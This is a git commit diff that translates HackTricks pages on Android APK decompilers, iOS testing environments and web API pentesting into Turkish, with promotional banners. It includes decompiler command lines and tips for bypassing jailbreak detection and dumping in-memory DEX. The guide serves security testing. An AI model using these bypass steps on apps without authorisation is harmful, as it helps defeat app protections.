Translated ['mobile-pentesting/android-app-pentesting/apk-decompilers.md

This commit is contained in:
Translator 2024-11-05 18:07:18 +00:00
parent dd94a14560
commit 4f719c4687
5 changed files with 250 additions and 189 deletions

View file

@ -1,22 +1,21 @@
# APK decompilers
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
**Her bir araç hakkında daha fazla bilgi için [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr) adresindeki orijinal gönderiyi kontrol edin.**
**Her bir araç hakkında daha fazla bilgi için orijinal gönderiyi kontrol edin** [**https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr**](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
@ -26,47 +25,64 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
**Jadx**, Android uygulamalarından Java kodunu decompile etmek için kullanıcı dostu bir arayüz sunar. Farklı platformlarda kullanım kolaylığı nedeniyle önerilir.
- GUI'yi başlatmak için, bin dizinine gidin ve şunu çalıştırın: `jadx-gui`
- Komut satırı kullanımı için, bir APK'yı decompile etmek için: `jadx app.apk`
- Çıktı dizinini belirtmek veya decompilation seçeneklerini ayarlamak için: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
* GUI'yi başlatmak için, bin dizinine gidin ve şunu çalıştırın: `jadx-gui`
* Komut satırı kullanımı için, bir APK'yı decompile etmek için: `jadx app.apk`
* Çıktı dizinini belirtmek veya decompilation seçeneklerini ayarlamak için: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
**GDA**, yalnızca Windows için bir araçtır ve Android uygulamalarını tersine mühendislik için kapsamlı özellikler sunar. GDA'yı Windows sisteminize kurun ve çalıştırın, ardından analiz için APK dosyasını yükleyin.
**GDA**, yalnızca Windows için bir araçtır ve Android uygulamalarını tersine mühendislik yapmak için kapsamlı özellikler sunar. GDA'yı Windows sisteminize kurun ve çalıştırın, ardından analiz için APK dosyasını yükleyin.
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
**Bytecode-Viewer** ile birden fazla decompiler kullanarak APK dosyalarını analiz edebilirsiniz. İndirdikten sonra, Bytecode-Viewer'ı çalıştırın, APK'nızı yükleyin ve eşzamanlı analiz için kullanmak istediğiniz decompiler'ları seçin.
**Bytecode-Viewer** ile birden fazla decompiler kullanarak APK dosyalarını analiz edebilirsiniz. İndirdikten sonra, Bytecode-Viewer'ı çalıştırın, APK'nızı yükleyin ve aynı anda analiz için kullanmak istediğiniz decompiler'ları seçin.
### [Enjarify](https://github.com/Storyyeller/enjarify)
**Enjarify**, Dalvik bytecode'u Java bytecode'a çevirir, bu da Java analiz araçlarının Android uygulamalarını daha etkili bir şekilde analiz etmesini sağlar.
- Enjarify'yi kullanmak için, şunu çalıştırın: `enjarify app.apk`
Bu, sağlanan APK'nın Java bytecode eşdeğerini oluşturur.
* Enjarify'yi kullanmak için, şunu çalıştırın: `enjarify app.apk` Bu, sağlanan APK'nın Java bytecode eşdeğerini oluşturur.
### [CFR](https://github.com/leibnitz27/cfr)
**CFR**, modern Java özelliklerini decompile edebilir. Aşağıdaki gibi kullanın:
- Standart decompilation için: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Büyük JAR dosyaları için, JVM bellek tahsisini ayarlayın: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* Standart decompilation için: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* Büyük JAR dosyaları için, JVM bellek tahsisini ayarlayın: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**, analitik bir decompiler'dır ve kaynak koddan inşa edilmesi gerekir. İnşa ettikten sonra:
- Bir JAR dosyasını decompile edin: `java -jar ./fernflower.jar "app.jar" "output_directory"`
Ardından, oluşturulan JAR'dan `.java` dosyalarını çıkarmak için `unzip` kullanın.
* Bir JAR dosyasını decompile edin: `java -jar ./fernflower.jar "app.jar" "output_directory"` Ardından, oluşturulan JAR'dan `.java` dosyalarını çıkarmak için `unzip` kullanın.
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau**, decompilation üzerinde detaylı kontrol sunar, özellikle dış kütüphaneleri işlerken.
- Krakatau'yu kullanmak için standart kütüphane yolunu ve decompile edilecek JAR dosyasını belirtin: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
* Krakatau'yu kullanmak için, standart kütüphane yolunu ve decompile edilecek JAR dosyasını belirtin: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
**procyon** ile basit bir decompilation için:
- Bir JAR dosyasını belirtilen dizine decompile edin: `procyon -jar "app.jar" -o "output_directory"`
* Bir JAR dosyasını belirtilen bir dizine decompile edin: `procyon -jar "app.jar" -o "output_directory"`
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)
Bu araç, bellek içindeki çalışan bir APK'nın DEX'ini dökmek için kullanılabilir. Bu, uygulama bellek içinde çalıştırıldığında kaldırılan statik obfuscation'ı aşmaya yardımcı olur.
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,49 +1,48 @@
# iOS Testing Environment
# iOS Test Ortamı
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
## Apple Developer Program
## Apple Geliştirici Programı
Bir **provisioning identity**, bir Apple geliştirici hesabıyla ilişkili olan bir dizi genel ve özel anahtardır. **Uygulamaları imzalamak** için **99$/yıl** ödeyerek **Apple Developer Program**'a kaydolmanız gerekir. Bunu yapmadan, bir fiziksel cihazda kaynak kodundan uygulamaları çalıştıramazsınız. Bunu yapmanın bir diğer seçeneği ise **jailbroken bir cihaz** kullanmaktır.
Bir **provisioning identity**, bir Apple geliştirici hesabıyla ilişkili olan bir dizi genel ve özel anahtardır. **Uygulamaları imzalamak** için **99$/yıl** ödeyerek **Apple Geliştirici Programı**'na kaydolmanız gerekir. Bunu yapmadan, bir fiziksel cihazda kaynak kodundan uygulamaları çalıştıramazsınız. Bunu yapmanın bir diğer seçeneği ise **jailbroken bir cihaz** kullanmaktır.
Xcode 7.2 ile birlikte Apple, gerçek bir iPhone'da uygulamanızı yazmanıza ve test etmenize olanak tanıyan **ücretsiz bir iOS geliştirme provisioning profili** oluşturma seçeneği sunmuştur. _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Kimlik bilgilerinizi ekleyin) --> _Oluşturduğunuz Apple ID'ye tıklayın_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_Daha sonra, uygulamanızı iPhone'unuzda çalıştırmak için önce **iPhone'un bilgisayarı güvenilir olarak göstermesini sağlamanız gerekir.** Ardından, **Xcode'dan mobilde uygulamayı çalıştırmayı deneyebilirsiniz,** ancak bir hata görünecektir. Bu nedenle _Settings_ --> _General_ --> _Profiles and Device Management_ --> Güvenilmeyen profili seçin ve "**Trust**" butonuna tıklayın.
Xcode 7.2 ile birlikte Apple, gerçek bir iPhone'da uygulamanızı yazmanıza ve test etmenize olanak tanıyan **ücretsiz bir iOS geliştirme provisioning profili** oluşturma seçeneği sunmuştur. _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Kimlik bilgilerinizi ekleyin) --> _Oluşturulan Apple ID'ye tıklayın_ --> _Sertifikaları Yönet_ --> _+_ (Apple Geliştirme) --> _Tamam_\
\_\_Daha sonra, uygulamanızı iPhone'unuzda çalıştırmak için önce **iPhone'un bilgisayarı güvenilir olarak göstermesini sağlamalısınız.** Ardından, **Xcode'dan mobilde uygulamayı çalıştırmayı deneyebilirsiniz,** ancak bir hata görünecektir. Bu nedenle _Ayarlar_ --> _Genel_ --> _Profiller ve Cihaz Yönetimi_ --> Güvenilmeyen profili seçin ve "**Güven**"e tıklayın.
**Aynı imzalama sertifikasıyla imzalanmış uygulamalar, güvenli bir şekilde kaynakları paylaşabilir, örneğin anahtar zinciri öğeleri**.
Provisioning profilleri telefonun içinde **`/Library/MobileDevice/ProvisioningProfiles`** dizininde saklanır.
Provisioning profilleri, telefonun içinde **`/Library/MobileDevice/ProvisioningProfiles`** dizininde saklanır.
## **Simulator**
## **Simülatör**
{% hint style="info" %}
Bir **simülatörün emülatörle aynı olmadığını** unutmayın. Simülatör, cihazın davranışını ve işlevlerini simüle eder, ancak bunları gerçekten kullanmaz.
{% endhint %}
### **Simulator**
### **Simülatör**
Bilmeniz gereken ilk şey, **bir simülatör içinde pentest yapmanın, jailbreak yapılmış bir cihazda yapmaktan çok daha sınırlı olacağıdır**.
Bilmeniz gereken ilk şey, **simülatör içinde bir pentest gerçekleştirmenin, jailbreak yapılmış bir cihazda yapmaktan çok daha sınırlı olacağıdır**.
iOS uygulaması oluşturmak ve desteklemek için gereken tüm araçlar **sadece resmi olarak Mac OS'ta desteklenmektedir**.\
Apple'ın iOS uygulamalarını oluşturmak/ayarlarını düzeltmek/geliştirmek için kullanılan de facto aracı **Xcode**'dur. Uygulamanızı oluşturmak ve **test** etmek için gereken diğer bileşenleri, örneğin **simülatörler** ve farklı **SDK** **sürümlerini** indirmek için kullanılabilir.\
Bir iOS uygulaması oluşturmak ve desteklemek için gereken tüm araçlar **sadece resmi olarak Mac OS'ta desteklenmektedir**.\
Apple'ın iOS uygulamalarını oluşturmak/ayarlarını düzeltmek/geliştirmek için kullanılan de facto aracı **Xcode**'dur. Uygulamanızı oluşturmak ve **test etmek** için gereken diğer bileşenleri, örneğin **simülatörler** ve farklı **SDK** **sürümlerini** indirmek için kullanılabilir.\
Xcode'u **resmi uygulama mağazasından** **indirmek** şiddetle tavsiye edilir. Diğer sürümler kötü amaçlı yazılım içerebilir.
Simülatör dosyaları `/Users/<username>/Library/Developer/CoreSimulator/Devices` dizininde bulunabilir.
Simülatörü açmak için Xcode'u çalıştırın, ardından _Xcode sekmesine_ basın --> _Open Developer tools_ --> _Simulator_\
Simülatörü açmak için Xcode'u çalıştırın, ardından _Xcode sekmesine_ tıklayın --> _Geliştirici araçlarını aç_ --> _Simülatör_\
\_\_Aşağıdaki resimde "iPod touch \[...\]" üzerine tıklayarak test etmek için başka bir cihaz seçebilirsiniz:
![](<../../.gitbook/assets/image (270).png>)
@ -52,7 +51,7 @@ Simülatörü açmak için Xcode'u çalıştırın, ardından _Xcode sekmesine_
### Simülatördeki Uygulamalar
`/Users/<username>/Library/Developer/CoreSimulator/Devices` dizininde tüm **kurulu simülatörleri** bulabilirsiniz. Emülatörlerden birinde oluşturulmuş bir uygulamanın dosyalarına erişmek istiyorsanız, **uygulamanın hangi emülatörde kurulu olduğunu bilmek zor olabilir**. Doğru UID'yi **bulmanın hızlı bir yolu**, simülatörde uygulamayı çalıştırmak ve şunu yürütmektir:
`/Users/<username>/Library/Developer/CoreSimulator/Devices` dizininde tüm **kurulu simülatörleri** bulabilirsiniz. Emülatörlerden birinde oluşturulan bir uygulamanın dosyalarına erişmek istiyorsanız, **uygulamanın hangi emülatörde kurulu olduğunu bilmek zor olabilir**. Doğru UID'yi **bulmanın hızlı bir yolu**, simülatörde uygulamayı çalıştırmak ve şunu yürütmektir:
```bash
xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
@ -67,46 +66,50 @@ Ve bu klasörde **uygulamanın paketini bulabilirsiniz.**
Corellium, kamuya açık tek iOS emülatörüdür. Kullanıcı başına lisans modeli ile bir kurumsal SaaS çözümüdür ve herhangi bir deneme lisansı sunmamaktadır.
## Jailbeaking
## No Jailbreak needed
Apple, iPhone'da çalışan kodun **Apple tarafından verilen bir sertifika ile imzalanmasını** kesinlikle gerektirir. **Jailbreaking**, OS tarafından konulan bu tür kısıtlamaları ve diğer güvenlik kontrollerini **aşma** sürecidir. Bu nedenle, cihaz jailbreak edildiğinde, uygulamaların yüklenmesini kontrol eden **bütünlük kontrolü** yamanır, böylece **bypass edilir**.
**Jailbreak yapılmamış bir cihazda** bir iOS uygulamasını nasıl pentest edeceğinizi anlatan bu blog yazısını kontrol edin: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
## Jailbreaking
Apple, iPhone'da çalışan kodun **Apple tarafından verilen bir sertifika ile imzalanmasını** kesinlikle gerektirir. **Jailbreaking**, bu tür kısıtlamaları ve işletim sistemi tarafından konulan diğer güvenlik kontrollerini **aşma** sürecidir. Bu nedenle, cihaz jailbreak yapıldığında, uygulamaların yüklenmesini kontrol eden **bütünlük kontrolü** yamanır, böylece **bypass edilir**.
{% hint style="info" %}
Android'in aksine, iOS'ta cihazda imzasız/güvenilmeyen kod çalıştırmak için "Geliştirici Modu"na geçemezsiniz.
Android'in aksine, iOS'ta **imzasız/güvenilmeyen kodu çalıştırmak için "Geliştirici Modu"na geçemezsiniz.**
{% endhint %}
### Android Rooting vs. iOS Jailbreaking
Sıklıkla karşılaştırılsa da, Android'de **rooting** ve iOS'ta **jailbreaking** temelde farklı süreçlerdir. Android cihazlarda **`su` ikili dosyasını yüklemek** veya **sistemi köklü bir özel ROM ile değiştirmek** gibi işlemler, bootloader kilidi açıldığında mutlaka istismar gerektirmeyebilir. **Özel ROM'ların yüklenmesi**, bootloader kilidi açıldıktan sonra cihazın işletim sistemini değiştirir ve bazen bir istismar gerektirebilir.
Sıklıkla karşılaştırılsa da, Android'de **rooting** ve iOS'ta **jailbreaking** temelde farklı süreçlerdir. Android cihazlarını rootlamak, **`su` ikili dosyasını yüklemeyi** veya **sistemi köklü bir özel ROM ile değiştirmeyi** içerebilir; bu, bootloader kilidi açıldığında mutlaka istismar gerektirmez. **Özel ROM'ların yüklenmesi**, bootloader kilidi açıldıktan sonra cihazın işletim sistemini değiştirir ve bazen bir istismar gerektirebilir.
Buna karşılık, iOS cihazları, bootloader'ın yalnızca Apple imzalı görüntüleri başlatma kısıtlaması nedeniyle özel ROM'ları yükleyemez. **iOS'u jailbreak etmek**, imzasız kod çalıştırmak için Apple'ın kod imzalama korumalarını aşmayı hedefler; bu süreç, Apple'ın sürekli güvenlik iyileştirmeleri ile karmaşıklaşır.
Buna karşın, iOS cihazları, bootloader'ın yalnızca Apple imzalı görüntüleri başlatmasına izin vermesi nedeniyle özel ROM'ları yükleyemez. **iOS'u jailbreak yapmak**, imzasız kod çalıştırmak için Apple'ın kod imzalama korumalarını aşmayı amaçlar; bu süreç, Apple'ın sürekli güvenlik iyileştirmeleri ile karmaşıklaşır.
### Jailbreaking Challenges
iOS'u jailbreak etmek, Apple'ın güvenlik açıklarını hızla yamalaması nedeniyle giderek zorlaşmaktadır. **iOS'u düşürmek**, bir sürümden sonra sınırlı bir süre için mümkündür ve bu da jailbreak işlemini zaman açısından hassas hale getirir. Güvenlik testi için kullanılan cihazlar, yeniden jailbreak garantisi verilmedikçe güncellenmemelidir.
iOS'u jailbreak yapmak, Apple'ın güvenlik açıklarını hızla yamalaması nedeniyle giderek zorlaşmaktadır. **iOS'u düşürmek**, bir sürümden sonra sınırlı bir süre için mümkündür ve bu da jailbreak yapmayı zaman açısından hassas bir mesele haline getirir. Güvenlik testi için kullanılan cihazlar, yeniden jailbreak yapılması garanti edilmedikçe güncellenmemelidir.
iOS güncellemeleri, yalnızca Apple imzalı yanıtlar için yüklemeye izin veren bir **challenge-response mekanizması** (SHSH blobları) ile kontrol edilir. "İmzalama penceresi" olarak bilinen bu mekanizma, OTA firmware paketlerini depolama ve daha sonra kullanma yeteneğini sınırlar. [IPSW Downloads web sitesi](https://ipsw.me), mevcut imzalama pencerelerini kontrol etmek için bir kaynaktır.
### Jailbreak Varieties
* **Tethered jailbreaks**, her yeniden başlatma için bir bilgisayar bağlantısı gerektirir.
* **Semi-tethered jailbreaks**, bilgisayar olmadan jailbreak edilmemiş moda geçişe izin verir.
* **Semi-untethered jailbreaks**, bilgisayar gerektirmeden manuel yeniden jailbreak etmeyi gerektirir.
* **Untethered jailbreaks**, yeniden uygulama gerektirmeden kalıcı bir jailbreak çözümü sunar.
* **Tethered jailbreak'ler**, her yeniden başlatma için bir bilgisayar bağlantısı gerektirir.
* **Semi-tethered jailbreak'ler**, bilgisayar olmadan jailbreak yapılmamış moda geçişe izin verir.
* **Semi-untethered jailbreak'ler**, bilgisayar gerektirmeden manuel yeniden jailbreak yapmayı gerektirir.
* **Untethered jailbreak'ler**, yeniden uygulama gerektirmeden kalıcı bir jailbreak çözümü sunar.
### Jailbreaking Tools and Resources
Jailbreaking araçları, iOS sürümüne ve cihaza göre değişir. [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) ve [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) gibi kaynaklar güncel bilgiler sağlar. Örnekler:
* A7-A11 çipli cihazlar için [Checkra1n](https://checkra.in/).
* iOS 15.0-16.5'te Checkm8 cihazları için [Palera1n](https://palera.in/).
* iOS sürümleri için [Unc0ver](https://unc0ver.dev/) 14.8'e kadar.
* iOS 15.0-16.5'te Checkm8 cihazları (A8-A11) için [Palera1n](https://palera.in/).
* iOS sürümleri 14.8'e kadar [Unc0ver](https://unc0ver.dev/).
Cihazınızı değiştirmek risk taşır ve jailbreak işlemi dikkatle yaklaşılmalıdır.
Cihazınızı değiştirmek risk taşır ve jailbreak yaparken dikkatli olunmalıdır.
### Jailbreaking Benefits and Risks
Jailbreaking, **OS tarafından dayatılan sandboxing'i kaldırır**, uygulamaların tüm dosya sistemine erişmesine izin verir. Bu özgürlük, onaylanmamış uygulamaların yüklenmesini ve daha fazla API'ye erişimi sağlar. Ancak, normal kullanıcılar için, potansiyel güvenlik riskleri ve cihaz kararsızlığı nedeniyle jailbreak **tavsiye edilmez**.
Jailbreaking, **işletim sistemi tarafından dayatılan sandbox'ı kaldırır**, uygulamaların tüm dosya sistemine erişmesine izin verir. Bu özgürlük, onaylanmamış uygulamaların yüklenmesini ve daha fazla API'ye erişimi sağlar. Ancak, normal kullanıcılar için, potansiyel güvenlik riskleri ve cihaz kararsızlığı nedeniyle jailbreak yapılması **tavsiye edilmez**.
### **After Jailbreaking**
@ -116,29 +119,30 @@ Jailbreaking, **OS tarafından dayatılan sandboxing'i kaldırır**, uygulamalar
### **Jailbreak Detection**
**Birçok uygulama, mobil cihazın jailbreak edilip edilmediğini tespit etmeye çalışacak ve bu durumda uygulama çalışmayacaktır.**
**Birçok uygulama, mobil cihazın jailbreak yapılıp yapılmadığını tespit etmeye çalışacak ve bu durumda uygulama çalışmayacaktır.**
* Jailbreak işleminden sonra bir iOS'da **dosyalar ve klasörler genellikle yüklenir**, bu dosyalar cihazın jailbreak edilip edilmediğini belirlemek için aranabilir.
* Jailbreak edilmiş bir cihazda uygulamalar, sandbox dışındaki yeni dosyalara **okuma/yazma erişimi** alır.
* Jailbreak yapıldıktan sonra iOS'ta **dosyalar ve klasörler genellikle yüklenir**, bunlar cihazın jailbreak yapılıp yapılmadığını belirlemek için aranabilir.
* Jailbreak yapılmış bir cihazda uygulamalar, sandbox dışındaki yeni dosyalara **okuma/yazma erişimi** alır.
* Bazı **API** **çağrıları** **farklı davranacaktır.**
* **OpenSSH** hizmetinin varlığı.
* `/bin/sh` çağrısı **0 yerine 1** döndürecektir.
**Jailbreaking'i tespit etme yöntemleri hakkında daha fazla bilgi** [**burada**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
Bu tespitlerden kaçınmayı deneyebilirsiniz **objection'ın** `ios jailbreak disable` komutunu kullanarak.
Bu tespitlerden kaçınmak için **objection'ın** `ios jailbreak disable` komutunu kullanmayı deneyebilirsiniz.
## **Jailbreak Detection Bypass**
* Bu tespitlerden kaçınmayı deneyebilirsiniz **objection'ın** `ios jailbreak disable` komutunu kullanarak.
* Bu tespitlerden kaçınmak için **objection'ın** `ios jailbreak disable` komutunu kullanmayı deneyebilirsiniz.
* Ayrıca **Liberty Lite** (https://ryleyangus.com/repo/) aracını yükleyebilirsiniz. Repo eklendikten sonra, uygulama 'Arama' sekmesinde görünmelidir.
## References
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -150,5 +154,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,15 +1,15 @@
# Web API Pentesting
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,20 +17,20 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
## API Pentesting Metodolojisi Özeti
